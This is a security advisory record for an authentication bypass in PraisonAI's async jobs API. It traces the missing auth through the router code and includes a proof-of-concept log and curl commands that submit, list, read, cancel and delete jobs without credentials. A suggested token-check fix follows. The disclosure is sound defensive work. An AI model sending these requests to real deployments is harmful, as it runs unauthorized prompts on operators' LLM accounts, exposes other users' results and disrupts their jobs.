{"id":"PYSEC-2026-3885","summary":"PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete","details":"### Summary\nPraisonAI's async **Jobs API** (the FastAPI service in `praisonai/jobs/`) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value.\n \nThe server's default bind is `127.0.0.1`, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.\n \n**This is a distinct, still-unpatched sibling of CVE-2026-44338.** That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the *legacy Flask* server `src/praisonai/api_server.py`. The fix added `AUTH_ENABLED`/`AUTH_TOKEN`/`check_auth()` to that file and did **not** touch the FastAPI jobs module. At the latest commit (`9fcac3a`, version **4.6.51**) the legacy Flask server is patched but the jobs API remains completely unauthenticated.\n\n## Technical Detail\n \n### Source-to-sink trace\n \nThe FastAPI app includes the jobs router with only CORS middleware — no auth (`server.py`, `create_app`):\n \n```python\n# src/praisonai/praisonai/jobs/server.py\ndef create_app(store=None, executor=None, cors_origins=None) -\u003e FastAPI:\n    app = FastAPI(title=\"PraisonAI Jobs API\", ...)\n    # ... CORS middleware only (allow_headers includes \"Authorization\",\n    #     but CORS is not authentication) ...\n    jobs_router = create_router(get_store(), get_executor())\n    app.include_router(jobs_router)        # no dependencies=[Depends(...)]\n```\n \nThe router (built inside `create_router()`) registers every job operation with no auth dependency. The only `Header(...)` parameter anywhere is the `Idempotency-Key`, which is deduplication, not authorization:\n \n```python\n# src/praisonai/praisonai/jobs/router.py\nrouter = APIRouter(prefix=\"/api/v1/runs\", tags=[\"jobs\"])\n \n@router.post(\"\",          status_code=202)  async def submit_job(request, response, body, idempotency_key=Header(None, alias=\"Idempotency-Key\")): ...\n@router.get(\"\")                              async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...\n@router.get(\"/{job_id}\")                     async def get_job_status(job_id): ...\n@router.get(\"/{job_id}/result\")              async def get_job_result(job_id): ...\n@router.post(\"/{job_id}/cancel\")             async def cancel_job(job_id): ...\n@router.delete(\"/{job_id}\", status_code=204) async def delete_job(job_id): ...\n@router.get(\"/{job_id}/stream\")              async def stream_job(job_id): ...\n```\n \n`submit_job()` builds a `Job` from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default `praisonai` framework runs the attacker prompt against a real agent:\n \n```python\n# executor.py — submit() -\u003e _execute_job() -\u003e _run_agent() -\u003e _run_praisonai_agents()\nagent = Agent(instructions=\"You are a helpful AI assistant.\", output=\"minimal\")\nresult = await asyncio.to_thread(agent.start, job.prompt)   # attacker-controlled prompt\n```\n \nThe in-memory store has **no owner / principal / user concept**. `list_jobs()` returns the whole store filtered only by caller-supplied `status`/`session_id`:\n \n```python\n# store.py\nasync def list_jobs(self, status=None, session_id=None, limit=20, offset=0):\n    jobs = list(self._jobs.values())        # global; no owner binding\n    if session_id: jobs = [j for j in jobs if j.session_id == session_id]\n    ...\n```\n \nA repository-wide grep of `jobs/` for `Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth` returns **only** the string `\"Authorization\"` inside the CORS `allow_headers` list. There is no authentication primitive in the module.\n \n### Distinction from CVE-2026-44338 (critical for triage)\n \n| | CVE-2026-44338 (already fixed) | This finding |\n|---|---|---|\n| Component | Legacy Flask `src/praisonai/api_server.py` | FastAPI `praisonai/jobs/` |\n| Endpoints | `GET /agents`, `POST /chat` | `/api/v1/runs` (submit/list/get/result/cancel/delete/stream) |\n| Root cause | `AUTH_ENABLED=False`, `AUTH_TOKEN=None`, no-op `check_auth()` | No auth dependency, middleware, or token exists at all |\n| Status at 4.6.51 | **Patched** (auth enabled by default, token auto-generated, `secrets.compare_digest`) | **Unpatched** |\n \nThe 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.\n \n### Trigger conditions\n \n1. Start the server, e.g. `python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory`.\n2. Make it reachable (`--host 0.0.0.0`, container publish, reverse proxy, tunnel).\n3. Send unauthenticated requests to `POST/GET /api/v1/runs`, `GET /api/v1/runs/{id}`, `GET /api/v1/runs/{id}/result`, `POST /api/v1/runs/{id}/cancel`, `DELETE /api/v1/runs/{id}`.\n\n## Proof of Concept\n \nVerified dynamically by running the **real** `praisonai.jobs` router, executor, and store over HTTP via FastAPI `TestClient`. The only stub is `praisonaiagents.Agent` (its `.start()` returns canned text), so **no real LLM call and no API credentials were used**. Every request below was sent with **no `Authorization` header, cookie, or token** (the runner asserts `Authorization sent: None` on each).\n \n```\n## Unauth POST /api/v1/runs (submit job)\n   POST /api/v1/runs            -\u003e HTTP 202   Authorization sent: None\n   body: {\"job_id\":\"run_de282b4c3f1c\",\"status\":\"queued\", ...}\n \n## Unauth GET /api/v1/runs (list every job in shared store)\n   GET /api/v1/runs             -\u003e HTTP 200   Authorization sent: None\n   body: {\"jobs\":[{\"job_id\":\"run_de282b4c3f1c\",\"status\":\"succeeded\", ...}], \"total\":1, ...}\n \n## Unauth GET /api/v1/runs/{id}/result (read tenant output)\n   GET /api/v1/runs/.../result  -\u003e HTTP 200   Authorization sent: None\n   body: {\"result\":\"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'\", ...}\n \n## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)\n   t=0.0s status=running ... t=2.0s status=running\n   POST /api/v1/runs/.../cancel -\u003e HTTP 200   Authorization sent: None\n   after cancel status=cancelled\n \n## Unauth DELETE /api/v1/runs/{id} (delete terminal job)\n   DELETE /api/v1/runs/...       -\u003e HTTP 204   Authorization sent: None\n```\n \nEach privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.)\n \n### Equivalent trigger in a fully installed, network-exposed deployment\n \n```bash\npython -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory\n \ncurl -sS -X POST http://TARGET:8005/api/v1/runs \\\n  -H 'Content-Type: application/json' \\\n  --data-binary '{\"prompt\":\"attacker controlled job\",\"timeout\":3600}'\ncurl -sS http://TARGET:8005/api/v1/runs\ncurl -sS http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e/result\ncurl -sS -X POST http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e/cancel\ncurl -sS -X DELETE http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e\n```\n \n## Impact\n \n- **Execution / cost**: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to `timeout`, default 3600s) consuming CPU, memory, queue slots, and provider billing.\n- **Confidentiality**: callers list all jobs (`GET /api/v1/runs`) and read completed results from the shared store — other callers' agent outputs.\n- **Integrity / control**: callers cancel running jobs and delete terminal jobs.\nThe realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs.\n \n## Suggested Mitigation\n \nMirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:\n \n- Add a jobs-server auth token (e.g. `PRAISONAI_JOBS_API_TOKEN`) and require it on every `/api/v1/runs` route via a **router-level dependency**, so future routes inherit protection by default.\n- Use constant-time comparison (`hmac.compare_digest` / `secrets.compare_digest`).\n- Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs.\n- Keep `127.0.0.1` as default; warn or refuse when binding a public interface without auth configured.\n- Regression tests asserting unauthenticated `POST` / `GET` / `cancel` / `delete` return `401` when auth is enabled.\n```python\nimport hmac, os\nfrom fastapi import Depends, Header, HTTPException\n \ndef verify_jobs_token(authorization: str | None = Header(None),\n                      x_api_key: str | None = Header(None, alias=\"X-API-Key\")):\n    expected = os.getenv(\"PRAISONAI_JOBS_API_TOKEN\")\n    if not expected:\n        raise HTTPException(401, \"Jobs API auth is not configured\")\n    token = x_api_key\n    if authorization and authorization.startswith(\"Bearer \"):\n        token = authorization[7:]\n    if not token or not hmac.compare_digest(token, expected):\n        raise HTTPException(401, \"Unauthorized\")\n \n# create_router(...) -\u003e APIRouter(prefix=\"/api/v1/runs\", dependencies=[Depends(verify_jobs_token)])\n```","aliases":["CVE-2026-55539","GHSA-2jgc-f764-c5r2"],"modified":"2026-09-10T12:15:11.150393478Z","published":"2026-09-10T09:44:55.156594Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2jgc-f764-c5r2"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2jgc-f764-c5r2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55539"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.58"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3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